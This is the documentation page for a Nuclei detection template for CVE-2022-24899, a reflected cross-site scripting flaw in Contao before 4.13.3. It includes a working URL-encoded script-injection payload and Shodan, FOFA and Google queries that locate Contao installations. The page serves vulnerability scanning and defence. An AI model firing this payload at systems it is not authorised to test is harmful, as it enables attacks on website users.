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Contao <4.13.3 - Cross-Site Scripting

ID: CVE-2022-24899

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,contao,xss,huntr

Description

Section titled “Description”

Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.

YAML Source

Section titled “YAML Source”
id: CVE-2022-24899


info:
  name: Contao <4.13.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Contao prior to 4.13.3 contains a cross-site scripting vulnerability.  It is possible to inject arbitrary JavaScript code into the canonical tag.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: As a workaround, users may disable canonical tags in the root page settings.
  reference:
    - https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
    - https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24899
    - https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
    - https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24899
    cwe-id: CWE-79
    epss-score: 0.00342
    epss-percentile: 0.70926
    cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contao
    product: contao
    shodan-query:
      - title:"Contao"
      - http.title:"contao"
      - http.html:"contao open source cms"
      - cpe:"cpe:2.3:a:contao:contao"
    fofa-query:
      - body="contao open source cms"
      - title="contao"
    google-query: intitle:"contao"
  tags: cve,cve2022,contao,xss,huntr


http:
  - method: GET
    path:
      - "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'
          - '"Not authenticated"'
        condition: and


      - type: word
        part: header
        words:
          - text/html
# digest: 4b0a0048304602210080d6f42c57d707c3a435558fc3828f0abc063d210f6e8f77355f65b1883768af022100e3014dd8ab1b4bf8f4af3b24ed9e88e37d19136e1ccf3157b604deca0d0d1b25:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-24899.yaml"

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